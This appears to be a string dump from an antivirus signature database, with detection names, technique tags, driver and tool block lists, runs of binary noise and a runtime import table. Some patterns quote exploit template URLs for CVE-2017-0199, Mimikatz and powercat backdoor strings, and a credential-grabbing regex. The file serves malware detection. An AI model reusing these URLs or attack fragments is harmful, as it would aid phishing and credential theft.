<userid>s-1-5-20</userid> %!#SCPT:XML/MaliciousLink.TopLevelFile )K%!#SCPT:XML/MaliciousLink.TopLevelFile http://d.xmapps.net/i.php %!#SCRIPT:Exploit:JS/CVE-2013-2551.D-3 
)K%!#SCRIPT:Exploit:JS/CVE-2013-2551.D-3 6?'%8d%76%04':'%90%90%90' %!#SCRIPT:PowerShell/DllImportKernel32 )K%!#SCRIPT:PowerShell/DllImportKernel32 dllimport( 
%!#SCRIPT:PowerShell/DllImportNetapi32 )K%!#SCRIPT:PowerShell/DllImportNetapi32 netapi32.dll )K%!#SCRIPT:PowerShell/Mimikittenz.A!dev user=.{1,50}&pass=.{1,50} 
%!#SCRIPT:VirTool:Win32/AutInject.AL_3 )K%!#SCRIPT:VirTool:Win32/AutInject.AL_3 fileread(@tempdir&\"\\f.txt &!#Exploit:O97M/CVE-2017-11882.AB!atob6 )K&!#Exploit:O97M/CVE-2017-
11882.AB!atob6 550072006c004d006f006e00 &!#Exploit:O97M/CVE-2017-11882.AG!ats02 )K&!#Exploit:O97M/CVE-2017-11882.AG!ats02 rtf\\object\\ 0\\198923813 
)K&!#SCPT:Exploit:JS/Blacole.fromcharcode +=string[\"fromcharcode\"] &!#SCPT:Phish:PHP/Urlpat_Rand13I )K&!#SCPT:Phish:PHP/Urlpat_Rand13I f64d08308082ad26be60767 
a0e9f5d64349fb13191bc781f81f42e1:f176ba63b4d68e576b5ba345bec2c7b7 Ba0e9f5d64349fb13191bc781f81f42e1:f176ba63b4d68e576b5ba345bec2c7b7 
d0ec4b50a944b182fc10ff51f883ccf7:ae4edc6faf64d08308082ad26be60767 Bd0ec4b50a944b182fc10ff51f883ccf7:ae4edc6faf64d08308082ad26be60767 
294b2f1dc22c6e6c3231d2fe311d504b:ae4edc6faf64d08308082ad26be60767 B294b2f1dc22c6e6c3231d2fe311d504b:ae4edc6faf64d08308082ad26be60767 
a0e9f5d64349fb13191bc781f81f42e1:e35df3e00ca4ef31d42b34bebaa2f86e Ba0e9f5d64349fb13191bc781f81f42e1:e35df3e00ca4ef31d42b34bebaa2f86e 
a0e9f5d64349fb13191bc781f81f42e1:fd4bc6cea4877646ccd62f0792ec0b62 Ba0e9f5d64349fb13191bc781f81f42e1:fd4bc6cea4877646ccd62f0792ec0b62 
a0e9f5d64349fb13191bc781f81f42e1:46e8c907c5cc3cf4b4420e76da5b4dba Ba0e9f5d64349fb13191bc781f81f42e1:46e8c907c5cc3cf4b4420e76da5b4dba 
a0e9f5d64349fb13191bc781f81f42e1:b31c0b82752ea0e2c48b8ce46e9263e5 Ba0e9f5d64349fb13191bc781f81f42e1:b31c0b82752ea0e2c48b8ce46e9263e5 
72a589da586844d7f0818ce684948eea:fd4bc6cea4877646ccd62f0792ec0b62 B72a589da586844d7f0818ce684948eea:fd4bc6cea4877646ccd62f0792ec0b62 
a0e9f5d64349fb13191bc781f81f42e1:6d6b821affda5de6562d217770a7ead0 Ba0e9f5d64349fb13191bc781f81f42e1:6d6b821affda5de6562d217770a7ead0 
a0e9f5d64349fb13191bc781f81f42e1:567bb420d39046dbfd1f68b558d86382 Ba0e9f5d64349fb13191bc781f81f42e1:567bb420d39046dbfd1f68b558d86382 
a0e9f5d64349fb13191bc781f81f42e1:ec74a5c51106f0419184d0dd08fb05bc Ba0e9f5d64349fb13191bc781f81f42e1:ec74a5c51106f0419184d0dd08fb05bc 
51c64c77e60f3980eea90869b68c58a8:ae4edc6faf64d08308082ad26be60767 B51c64c77e60f3980eea90869b68c58a8:ae4edc6faf64d08308082ad26be60767 
72a589da586844d7f0818ce684948eea:8cb68dc6ad0365d44af24b254ef70844 B72a589da586844d7f0818ce684948eea:8cb68dc6ad0365d44af24b254ef70844 
a0e9f5d64349fb13191bc781f81f42e1:b7bd51222a09f3ad66a340710ae9c01a Ba0e9f5d64349fb13191bc781f81f42e1:b7bd51222a09f3ad66a340710ae9c01a 
a0e9f5d64349fb13191bc781f81f42e1:8cb68dc6ad0365d44af24b254ef70844 Ba0e9f5d64349fb13191bc781f81f42e1:8cb68dc6ad0365d44af24b254ef70844 
d0ec4b50a944b182fc10ff51f883ccf7:b31c0b82752ea0e2c48b8ce46e9263e5 Bd0ec4b50a944b182fc10ff51f883ccf7:b31c0b82752ea0e2c48b8ce46e9263e5 
ce5f3254611a8c095a3d821d44539877:ae4edc6faf64d08308082ad26be60767 Bce5f3254611a8c095a3d821d44539877:ae4edc6faf64d08308082ad26be60767 
d0ec4b50a944b182fc10ff51f883ccf7:758945630046fd37070521b8544d1fe8 Bd0ec4b50a944b182fc10ff51f883ccf7:758945630046fd37070521b8544d1fe8 
8916410db85077a5460817142dcbc8de:ae4edc6faf64d08308082ad26be60767 B8916410db85077a5460817142dcbc8de:ae4edc6faf64d08308082ad26be60767 
a0e9f5d64349fb13191bc781f81f42e1:394441ab65754e2207b1e1b457b3641d Ba0e9f5d64349fb13191bc781f81f42e1:394441ab65754e2207b1e1b457b3641d 
72a589da586844d7f0818ce684948eea:1af33e1657631357c73119488045302c B72a589da586844d7f0818ce684948eea:1af33e1657631357c73119488045302c 
a0e9f5d64349fb13191bc781f81f42e1:ccc514751b175866924439bdbb5bba34 Ba0e9f5d64349fb13191bc781f81f42e1:ccc514751b175866924439bdbb5bba34 
a0e9f5d64349fb13191bc781f81f42e1:beb7069ae409bccfed702c17ad004223 Ba0e9f5d64349fb13191bc781f81f42e1:beb7069ae409bccfed702c17ad004223 
1770c51ee209c73547f5e53e366b6152:46e8c907c5cc3cf4b4420e76da5b4dba B1770c51ee209c73547f5e53e366b6152:46e8c907c5cc3cf4b4420e76da5b4dba 
a0e9f5d64349fb13191bc781f81f42e1:1af33e1657631357c73119488045302c Ba0e9f5d64349fb13191bc781f81f42e1:1af33e1657631357c73119488045302c 
51c64c77e60f3980eea90869b68c58a8:1af33e1657631357c73119488045302c B51c64c77e60f3980eea90869b68c58a8:1af33e1657631357c73119488045302c 
d0ec4b50a944b182fc10ff51f883ccf7:f176ba63b4d68e576b5ba345bec2c7b7 Bd0ec4b50a944b182fc10ff51f883ccf7:f176ba63b4d68e576b5ba345bec2c7b7 
d0ec4b50a944b182fc10ff51f883ccf7:fd4bc6cea4877646ccd62f0792ec0b62 Bd0ec4b50a944b182fc10ff51f883ccf7:fd4bc6cea4877646ccd62f0792ec0b62 
8916410db85077a5460817142dcbc8de:fd4bc6cea4877646ccd62f0792ec0b62 B8916410db85077a5460817142dcbc8de:fd4bc6cea4877646ccd62f0792ec0b62 
c35a61411ee5bdf666b4d64b05c29e64:ae4edc6faf64d08308082ad26be60767 Bc35a61411ee5bdf666b4d64b05c29e64:ae4edc6faf64d08308082ad26be60767  5f0b3b316fe5f ? 
5f0b3b316fe5fIncludesResearchData    runservices runservicesonce explorer_run  winlogon_shell winlogon_userinit winlogon_load winlogon_notify T1547.004  normalize_unicode tasks_actions 
T1053.002   :persistence_target :sourcefilename_ :sourceppid_    RegistryValueDataToFilePersistContext.A (RegistryValueDataToFilePersistContext.A  appendFilePersistContextFromList 
!appendFilePersistContextFromList persistence_source \\reg.exe \t\\reg.exe \\regedit.exe  \\syswow64\\services.exe :persistence_source appendNotExistingFilePersistContext 
$appendNotExistingFilePersistContext !#SLF:SimToolLaunch.F githubusercontent /atomic-red !#SLF:SimToolLaunch.D .picus.agent.service.exe \\picus agent\\ !#SLF:SimToolLaunch.E 
api/monkey/download/monkey !#SLF:SimToolLaunch.C 6attackiq\\firedrillagent.exe 2\\attackiq\\firedrillagent\\ !#ALF:Trojan:Win32/DefenderControl.B  /SYS 1  /TI 1 vtxtseg.exe $amivoicerewriter 
!#SLF:SimToolLaunch.A .sbsimulator_service.exe sbsimulator.exe \\sbsimulation cmd.exe /c echo sb_ windows\\temp\\sb-sim- !#SLF:SimToolLaunch.B 2cymulatefiledecryptor.exe 
>cymulateedrscenarioexecutor.exe \"cymulateagent.exe (cymulateelevated.exe &redteamexecutor.exe 0cymulateagentupdater.exe *cymulate\\edr_attacks\\ !#TEL:Win32/SuspPsExecProc.B  .exe 
$\\Windows Defender\\ \\Program Files\\ (\\Windows\\SystemApps\\ $\\Microsoft Office\\ :\\Windows\\System32\\svchost.exe J\\Windows\\System32\\CompatTelRunner.exe 
:\\Windows\\System32\\dllhost.exe P\\Windows\\System32\\SearchProtocolHost.exe P\\Windows\\System32\\SecurityHealthHost.exe 4\\Windows\\System32\\WerFault 
:\\Windows\\System32\\conhost.exe >\\Windows\\System32\\taskhostw.exe *\\TrustedInstaller.exe \\mscorsvw.exe !#BM_MT1055 !#BM_MT1083 !#BM_MT1057 !#ALF:AMSI2:ML:Ps:90 
!#ALF:AMSI2:ML:Ps:95 !#ALF:ASR:ESRP_EneIo !#BM_XSL_FILE !#BM_MT1036.005 !#ALF:AMSI2:ML:Wmi:60 !#ALF:AMSI2:ML:Wmi:70 !#BM_MT1003.003:ntdsexfil !#BM_MT1570 
!#ALF:ASR:ESRP_lha !#ALF:ASR:ESRP_Dbutil !#ALF:ASR:ESRP_RTCore64 !#ALF:ASR:ESRP_gmer !#ALF:ASR:ESRP_EneTechIo !#BM_MT1049:network_discovery !#BM_MT1074:datastage 
!#ALF:ASR:ESRP_DirectIO64 !#ALF:ASR:ESRP_smamp !#ALF:ASR:ESRP_atszio !#ALF:ASR:ESRP_iqvw64 !#ALF:ASR:ESRP_ssport !#ALF:ASR:ESRP_viragt !#ALF:ASR:ESRP_bsmi_asr 
!#ALF:ASR:ESRP_cpuz_asr !#ALF:ASR:ESRP_elby_asr !#ALF:ASR:ESRP_gdrv_asr !#ALF:ASR:ESRP_nicm_asr !#ALF:ASR:ESRP_nscm_asr !#BM_MT1570:remote_exedrop 
!#ALF:ASR:ESRP_mtcbsv64 !#ALF:ASR:ESRP_viragt64 !#ALF:ASR:ESRP_winring0 !#ALF:ASR:ESRP_sandra_asr !#BM_MT1497:SandboxEvasion !#BM_MT1547.001 (!#BM_MT1547.001 
!#ALF:ExecDownWrd.J!ibt  !#ALF:ExecDownWrd.J!ibt !#ALF:AGGR:E5.Mampa:50!ml !#ALF:AGGR:E5.Mampa:60!ml !#ALF:AGGR:E5.Mampa:70!ml !#ALF:AGGR:E5.Mampa:80!ml 
!#ALF:AGGR:E5.Mampa:90!ml !#ALF:AGGR:E5.Mampa:95!ml !#ALF:AGGR:E5.Mampa:99!ml !#BM_MT1104:command_control_ps !#BM_MT1003.001:credentialdumping !#ALF:ASR:ESRP_physmem 
\"!#ALF:ASR:ESRP_physmem !#ALF:ASR:ESRP_libnicm_asr !#ALF:ASR:ESRP_ntiolib_asr !#ALF:ASR:ESRP_rtkio64_asr !#ALF:Exploit:UEFI/Drangoot.G1w !#BM_MT1105:ingress_tool 
!!#BM_MT1105:ingress_tool !#BM_MT1570:remote_scriptdrop !#ALF:ASR:ESRP_speedfan_asr !#ALF:OfcWrdPress.J!ibt $!#ALF:OfcWrdPress.J!ibt !#BM_MT1033:user_disovery 
$!#BM_MT1033:user_disovery  !#BM_MT1053.005:schtask_macro !#BM_MT1012:registry_discovery !#ALF:AGGR:E5.OpclCl:80!ml $!#ALF:AGGR:E5.OpclCl:80!ml !#ALF:AGGR:E5.OpclCl:90!ml 
$!#ALF:AGGR:E5.OpclCl:90!ml !#ALF:AGGR:E5.OpclCl:95!ml $!#ALF:AGGR:E5.OpclCl:95!ml !#ALF:AGGR:E5.OpclCl:99!ml $!#ALF:AGGR:E5.OpclCl:99!ml !#ALF:ASR:ESRP_biostar_io_asr 
!!#ALF:ASR:ESRP_biostar_io_asr !#ALF:ASR:ESRP_bs_hwmio64_asr !!#ALF:ASR:ESRP_bs_hwmio64_asr !#ALF:ASR:ESRP_rtkiow8x64_asr !!#ALF:ASR:ESRP_rtkiow8x64_asr 
!#BM_MT1010:app_discovery &!#BM_MT1010:app_discovery !#BM_MT1069:perm_discovery %!#BM_MT1069:perm_discovery !#ALF:ASR:ESRP_powertool_asr #!#ALF:ASR:ESRP_powertool_asr 
!#BM_MT1071.001:posh_webaccess !!#BM_MT1071.001:posh_webaccess !#BM_MT1033:user_discovery &!#BM_MT1033:user_discovery !#BM_MT1083:file_discovery &!#BM_MT1083:file_discovery 
!#ALF:ASR:ESRP_ProcessHacker $!#ALF:ASR:ESRP_ProcessHacker !#ALF:ASR:ESRP_rtkiow10x64_asr \"!#ALF:ASR:ESRP_rtkiow10x64_asr '!#BM_MT1083:file_discovery 
%!#BM_MT1082:system_discovery !#ALF:Exploit:UEFI/Drangoot.G2w #!#ALF:Exploit:UEFI/Drangoot.G2w 3!#BM_MT1036.005 !#BM_MT1007:system_discovery &!#BM_MT1007:system_discovery 
!#BM_MT1016:network_discovery %!#BM_MT1016:network_discovery !#ALF:ASR:ESRP_kernelbridge_asr #!#ALF:ASR:ESRP_kernelbridge_asr !#ALF:ASR:ESRP_nchgbios2x64_asr 
#!#ALF:ASR:ESRP_nchgbios2x64_asr !#ALF:ASR:ESRP_segwindrvx64_asr #!#ALF:ASR:ESRP_segwindrvx64_asr !#ALF:AGGR:E5.Webmail.Macro (!#ALF:AGGR:E5.Webmail.Macro 
&!#BM_MT1049:network_discovery !#BM_MT1057:process_discovery &!#BM_MT1057:process_discovery !#BM_MT1016 9!#BM_MT1016 !#BM_MT1543.003:svc_creation_scpt 
H!#!#BM_MT1543.003:svc_creation_scpt !#BM_MT1016:networkconfig_discovery H#!!#BM_MT1016:networkconfig_discovery !#BM_MT1120:device_discovery )!#BM_MT1120:device_discovery 
!#BM_MT1087.002:user_discovery '!#BM_MT1087.002:user_discovery !#BM_MT1518.001:system_discovery I %!#BM_MT1518.001:system_discovery !#BM_XSLJSCRIPT_FILE 
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2!#BM_XSLJSCRIPT_FILE !#ALF:ASR:ESRP_amdryzenmaster_asr J!%!#ALF:ASR:ESRP_amdryzenmaster_asr !#BM_MT1135:network_discovery *!#BM_MT1135:network_discovery 
!#BM_XSLVBSCRIPT_FILE 3!#BM_XSLVBSCRIPT_FILE !#BM_MT1087.001:user_discovery *!#BM_MT1087.001:user_discovery !#BM_MT1140:obfuscation_xor .!#BM_MT1140:obfuscation_xor 
!#ALF:Exploit:UEFI/Drangoot.GT ,!#ALF:Exploit:UEFI/Drangoot.GT !#BM_MT1569.002:svc_binary 1!#BM_MT1569.002:svc_binary !#BM_MT1140:obfuscation_js 2!#BM_MT1140:obfuscation_js 
!#BM_MT1201:passwordpolicy_discovery P$(!#BM_MT1201:passwordpolicy_discovery ?!#BM_MT1036.005 !#ALF:Trojan/JsRunkey.A 9!#ALF:Trojan/JsRunkey.A !#ALF:AGGR:E5.Email.Macro 
8!#ALF:AGGR:E5.Email.Macro !#ALF:Trojan/VbsRunkey.A :!#ALF:Trojan/VbsRunkey.A !#SLF:PowerShell/NetUserAdd.A 5!#SLF:PowerShell/NetUserAdd.A !#ALF:Trojan/EncodedIEX!amsi.A 
4!#ALF:Trojan/EncodedIEX!amsi.A !#ALF:Trojan/PsRunkey.A <!#ALF:Trojan/PsRunkey.A !#SLF:PowerShell/DiscoveryBiosVer.A W#0!#SLF:PowerShell/DiscoveryBiosVer.A 
!#BM_MT1140:obfuscation_b64 9!#BM_MT1140:obfuscation_b64 !#SLF:IntentToInject B!#SLF:IntentToInject ;!#BM_MT1082:system_discovery !#ALF:AGGR:TobeetJs:20!ml 
?!#ALF:AGGR:TobeetJs:20!ml !#ALF:AGGR:TobeetJs:30!ml ?!#ALF:AGGR:TobeetJs:30!ml !#ALF:AGGR:TobeetJs:40!ml ?!#ALF:AGGR:TobeetJs:40!ml !#ALF:AGGR:TobeetJs:50!ml 
?!#ALF:AGGR:TobeetJs:50!ml !#ALF:AGGR:TobeetJs:60!ml ?!#ALF:AGGR:TobeetJs:60!ml !#SLF:PowerShell/DiscoveryDeviceInfo.A ]&3!#SLF:PowerShell/DiscoveryDeviceInfo.A 
!#SLF:PowerShell/DiscoverySystemInfo.A ]&3!#SLF:PowerShell/DiscoverySystemInfo.A !#SLF:PowerShell/DiscoverySystemPath.A ]&3!#SLF:PowerShell/DiscoverySystemPath.A k0Z^l ?\\~w2 C#9kv 
lmp]ERg rVoh~l D>U_~ N45T9 c&g1r X'n`O pV }$ rC0NPE O67yI Ol-=h S/\\>[ mpA,} vqjcy1Ld _T5Th c} o^F{L aah[t{a ML8L*& 8HC#'y CI '0Jh)$ !?+,47` ;%f#4_ SaG{t' UMTi7 W).wrsH FH@:W I*8n=G 
1AoXv 2#FYr 2#FYr^1 j9w!k u.3!H] U\\yX\\ N},4! :[-xAD \\Uy=pt By|]] H 1Zo JrBC : {ra3* tM&e, ]StQ' k+Zbs IWFK8 /;vJH: A88 1 \"XX\tH paOvl >f2\tIb` XytPc; ,M&:oH jwsPb- wf;m}YIk xN?[Y  kWG\">N 
Igl35 \\O,8su 9Or\tR 1\tvW\"m ?#?dF g^Dcm ? IF0 /Qc4t RB/'w/ JGy#Z) iis_exch_childproc 41b3f6330680 41b3f6330680IncludesResearchData  )EF@ webshell_parent T1505.003  webshell_childproc 
4bb3f224cd3e 4bb3f224cd3eIncludesResearchData  )EF@  73d74deadff2 73d74deadff2IncludesResearchData  IsTechniqueObservedForPid iis_exch_web  bad7d9fa74d6 
bad7d9fa74d6IncludesResearchData   4fd7f19945f5 4fd7f19945f5IncludesResearchData \tw3wp.exe -ap \"sharepoint  2e0d7742402b1 2e0d7742402b1IncludesResearchData -ap 
\"msexchangeecpapppool\" -ap \"msexchangeowaapppool\" -ap \"msexchangeoabapppool\"  41b341ec33ee 41b341ec33eeIncludesResearchData  WEF@   51b3966a3dba 
51b3966a3dbaIncludesResearchData cvtres.exe  !#TEL:Trojan:Win32/WebShellDrop.A !#TEL:Trojan:Win32/WebShellDrop.AObMpAttributes %ExchangeInstallPath% 
%windir%\\system32\\inetsrv\\config\\applicationHost.config 8%windir%\\system32\\inetsrv\\config\\applicationHost.config ClientAccess\\OAB\\Temp\\ %SystemDrive%\\inetpub\\wwwroot 
GetIisInstallPaths Pathz :#Lowfi:LUA:PowershellDropsNewPEInAppDataPath.A!ent !#PUA:Blocked:OnDemEntPUA:NonAppPath&
(Lua:GenericNonRtpN__|Lua:GenericNonRtpNH_|Lua:GenericNonRtpNHP|Lua:GenericNonRtpN_P) d!#PUA:Blocked:OnDemEntPUA:NonAppPath&
(Lua:GenericNonRtpN__|Lua:GenericNonRtpNH_|Lua:GenericNonRtpNHP|Lua:GenericNonRtpN_P) !#Lua:IsEnterprise Z!#Lua:IsEnterprise !#IsEnterprise.Func  a7b3cb2afd25 
a7b3cb2afd25IncludesResearchData !#PUA:NonAppPath 59b3a4a744e8  2a1b36fa4b03e  137b3d7105a3e   9fb3c6115afe 9fb3c6115afeIncludesBMLuaLib,ResearchData   85b3a4c470c9  
\\windows\\ltsvc\\ CONTEXT:PUA:SIM:InstallContextMet \"CONTEXT:PUA:SIM:InstallContextMet PUA:Sim:Blocked:Certificates PUA:Sim:Blocked:Specific !#SLF:AGGR:EX.ContextPECRoot 
&!#SLF:AGGR:EX.ContextPECRoot !#SLF:AGGR:EX.ContextPEAdminShare P!+!#SLF:AGGR:EX.ContextPEAdminShare invoke-mimikatz '!#SCRIPT:Trojan:PowerShell/RedPowdump.A 
'6'!#SCRIPT:Trojan:PowerShell/RedPowdump.A '!#SCRIPT:Trojan:PowerShell/RedPowdump.B '6'!#SCRIPT:Trojan:PowerShell/RedPowdump.B '!#SCRIPT:Trojan:PowerShell/RedPowdump.C 
'6'!#SCRIPT:Trojan:PowerShell/RedPowdump.C (!#SCRIPT:Backdoor:PowerShell/RedPowcat.A )}(!#SCRIPT:Backdoor:PowerShell/RedPowcat.A ('host','bytes','string')][alias(\"outputtype\")]
[string]$o=\"host\",[alias( J('host','bytes','string')][alias(\"outputtype\")][string]$o=\"host\",[alias( [-cor-l][-pport][options]-c<ip>clientmode.providetheipofthesystemyouwishtoconnectto. V[-cor-l][-pport]
[options]-c<ip>clientmode.providetheipofthesystemyouwishtoconnectto. :#LowFiPEEXEHasIOAVURLMSFT :#LowFiPEEXEHasIOAVURLMSFTU\" Y#PERSIST_PEEXEHasIOAVURLMSFT 
Y#PERSIST_PEEXEHasIOAVURLMSFTU*3 0b_#LowFi:ATTR:HSTR/MSBrowserPolicyMSFT 0b_#LowFi:ATTR:HSTR/MSBrowserPolicyMSFTa; !#LowfiInterestingCert TecSystem Ltd. Sofia Sofiaa| 
!#TELPER:Trojan:Win32/OneHuntImplant.B!dha FMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) FMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 
2.0.50727)a !#TELPER:RemoteAccess:Win32/Kaseya Kaseya::Utility:: Kaseya::RemoteControl::  Kaseya::Net:: Kaseya::IO:: Kaseya.Application. Kaseya.RemoteControl. KaseyaRemoteControlHost. 
KaseyaAgent KaseyaD.ini \\VxD\\Kaseya  \\Kaseya\\Agent KServer KServergA *!#STATIC:Dummy_MSFT_Internal_Test_Sig_OnlygA 'j?*!#STATIC:Dummy_MSFT_Internal_Test_Sig_OnlygA 
*!#STATIC:Dummy_MSFT_Internal_Test_Sig_OnlylF \"!#TELPER:RemoteAccess:Win32/KaseyalF \"!#TELPER:RemoteAccess:Win32/KaseyalI %!#TELPER:Trojan:Win32/OneHuntCert!dhalK 
'!#TELPER:Trojan:Win32/OneHuntCert.B!dhax9 !#PUA:Torrent:BitComet \\BitComet\\app\\Release_ \\BitComet\\app\\Release_x< !#ALF:Torrent:BitLord Codicit Setupx= !#PUA:Torrent:FlashGet 
:\\Flashget\\project\\client\\ :\\Flashget\\project\\client\\xA !#PUA:Torrent:Torch \\Release\\initialexe\\torch.exe.pdb \\Release\\initialexe\\torch.exe.pdbxE !#PUA:Torrent:WebTorrent  WebTorrent, LLCxG 
!#PUA:Torrent:Tixati ersion\\Uninstall\\tixati \\Tixati.lnk \\Tixati.lnkxI !#PUA:Torrent:Thunder \\pdb\\Product_Release\\ThunderInstall.pdb \\pdb\\Product_Release\\ThunderInstall.pdbxJ 
!#ALF:Torrent:LibTorrent @libtorrent@@AAUrootdevice@12@H@_mfi@ @libtorrent@@AAUrootdevice@12@H@_mfi@xO !#ALF:Torrent:ABC [ Yet Another Bittorrent Client ] \\ABC\\ABC.lnk 
\\ABC\\ABC.lnkxQ !#PUA:Torrent:Diluge Deluge Bittorrent ClientxU !#PUA:Torrent:BitTorrent  adaware\" BitTorrentxX !#PUA:Torrent:Miro Startup the Miro downloader process Miro_Downloader.py 
Miro_Downloader.pyxY !#PUA:Torrent:Vuze .vuze.com/files Vuze Installer might already be running Vuze Installer might already be runningxv !#PUA:Torrent:QBitTorrent .qbittorrent.org qBittorrent 
(required)xw .vuze.com/images/pixel.gif? Vuze Leap Setupx~ !#PUA:Torrent:FrostWire and play files with FrostWire ware\\FrostWirex !#TEL:HackTool:Win32/Freerdp.A!msft 
_client_populate_rdp_file_from_settings no key or cert com.freerdp.client.windows com.freerdp.client.windowsx !#PUA:Torrent:FileDownMan \\jobs\\fdm_qt_build_windows\\ \\bin\\winfdmscheme.pdb 
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objectsystem.data.sqlclient.sqldataadapter *!#SCPT:TrojanDownloader:JS/Phish.PQQQF!MTB )q*!#SCPT:TrojanDownloader:JS/Phish.PQQQF!MTB 
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)q*!#TEL:TrojanDownloader:VBS/Maldublnk.B!dha s2.run\"cmd/cdelc:\\users\\public\\libraries\\cache.tmp\",0,true <s2.run\"cmd/cdelc:\\users\\public\\libraries\\cache.tmp\",0,true 
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target=\"https://rotf.lol/3u6d9443\"targetmode=\"external\"/> ;target=\"https://rotf.lol/3u6d9443\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM110!MTB 
)q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM110!MTB target=\"https://itsssl.com/2aed6\"targetmode=\"external\"/> :target=\"https://itsssl.com/2aed6\"targetmode=\"external\"/> 
,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM111!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM111!MTB target=\"https://itsssl.com/oiowg\"targetmode=\"external\"/> 
:target=\"https://itsssl.com/oiowg\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM114!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM114!MTB 
target=\"https://itsssl.com/cshd3\"targetmode=\"external\"/> :target=\"https://itsssl.com/cshd3\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM120!MTB 
)q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM120!MTB target=\"https://itsssl.com/intdn\"targetmode=\"external\"/> :target=\"https://itsssl.com/intdn\"targetmode=\"external\"/> 
,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM183!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM183!MTB target=\"https://longurl.in/tllwu\"targetmode=\"external\"/> 
:target=\"https://longurl.in/tllwu\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM184!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM184!MTB 
target=\"https://longurl.in/mccwd\"targetmode=\"external\"/> :target=\"https://longurl.in/mccwd\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM185!MTB 
)q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM185!MTB target=\"https://longurl.in/welhl\"targetmode=\"external\"/> :target=\"https://longurl.in/welhl\"targetmode=\"external\"/> 
,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM188!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM188!MTB target=\"https://longurl.in/ekdnl\"targetmode=\"external\"/> 
:target=\"https://longurl.in/ekdnl\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM195!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM195!MTB 
target=\"https://longurl.in/htyul\"targetmode=\"external\"/> :target=\"https://longurl.in/htyul\"targetmode=\"external\"/> ,!#SCRIPT:BrowserModifier:Win32/Vonteera!blnk 
)q,!#SCRIPT:BrowserModifier:Win32/Vonteera!blnk https://s3-eu-west-1.amazonaws.com/adkooo/ :https://s3-eu-west-1.amazonaws.com/adkooo/ ,!#SCRIPT:HackTool:Python/WeevelyShell.R8!MTB 
)q,!#SCRIPT:HackTool:Python/WeevelyShell.R8!MTB generateparser.add_argument('path',help='agentfilepath') :generateparser.add_argument('path',help='agentfilepath') -
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M<inputtype=\"email\"name=\"login\"required=\"\"placeholder=\"\"value=\" $\"<?php !#SCPT:O97M/Phish.RUUS!MTB <?xmlversion= M<?xmlversion= 
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RpcNsEntryExpandNameA RpcNsEntryExpandNameW RpcNsEntryObjectInqBeginA RpcNsEntryObjectInqBeginW RpcNsEntryObjectInqDone RpcNsEntryObjectInqNext RpcNsGroupDeleteA 
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msvcrt.__wcserror __wcserror_s msvcrt.__wcserror_s _assert msvcrt._assert _beginthread msvcrt._beginthread msvcrt._beginthreadex _c_exit msvcrt._c_exit msvcrt._cexit _clearfp msvcrt._clearfp 
_configure_narrow_argv msvcrt._configure_narrow_argv _configure_wide_argv msvcrt._configure_wide_argv _control87 msvcrt._control87 msvcrt._controlfp _controlfp_s msvcrt._controlfp_s 
_crt_atexit msvcrt.atexit _endthread msvcrt._endthread msvcrt._endthreadex _errno msvcrt._errno msvcrt._exit _fpieee_flt msvcrt._fpieee_flt _fpreset msvcrt._fpreset _get_doserrno 
msvcrt._get_doserrno _get_errno msvcrt._get_errno _get_initial_narrow_environment msvcrt._get_initial_narrow_environment _get_initial_wide_environment msvcrt._get_initial_wide_environment 
_initialize_narrow_environment msvcrt._initialize_narrow_environment _initialize_wide_environment msvcrt._initialize_wide_environment msvcrt._initterm _initterm_e msvcrt._initterm_e 
_invalid_parameter_noinfo msvcrt._invalid_parameter_noinfo _invoke_watson msvcrt._invoke_watson _resetstkoflw msvcrt._resetstkoflw _set_app_type msvcrt.__set_app_type _set_controlfp 
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_invalid_parameter_noinfo msvcrt._invalid_parameter_noinfo _invoke_watson msvcrt._invoke_watson _resetstkoflw msvcrt._resetstkoflw _set_app_type msvcrt.__set_app_type _set_controlfp 
msvcrt._set_controlfp _set_doserrno msvcrt._set_doserrno _set_errno msvcrt._set_errno _set_error_mode msvcrt._set_error_mode _statusfp msvcrt._statusfp _strerror msvcrt._strerror _strerror_s 
msvcrt._strerror_s _wassert msvcrt._wassert _wcserror msvcrt._wcserror _wcserror_s msvcrt._wcserror_s _wperror msvcrt._wperror _wsystem msvcrt._wsystem msvcrt.abort msvcrt.exit perror 
msvcrt.perror raise msvcrt.raise signal msvcrt.signal strerror msvcrt.strerror strerror_s msvcrt.strerror_s msvcrt.system RSDSv  !\"#$%&'()*+,-./0123456789:;<=API-MS-WIN-CRT-RUNTIME-L1-1-
0.DLL__doserrnomsvcrt.__doserrno__fpecodemsvcrt.__fpecode__p___argcmsvcrt.__p___argc__p___argvmsvcrt.__p___argv__p___wargvmsvcrt.__p___wargv__p__acmdlnmsvcrt.__p__acmdln__p_
_pgmptrmsvcrt.__p__pgmptr__p__wcmdlnmsvcrt.__p__wcmdln__p__wpgmptrmsvcrt.__p__wpgmptr__pxcptinfoptrsmsvcrt.__pxcptinfoptrs__wcserrormsvcrt.__wcserror__wcserror_smsvcrt.__wcserror
_s_assertmsvcrt._assert_beginthreadmsvcrt._beginthread_beginthreadexmsvcrt._beginthreadex_c_exitmsvcrt._c_exit_cexitmsvcrt._cexit_clearfpmsvcrt._clearfp_configure_narrow_argvmsvcrt._configu
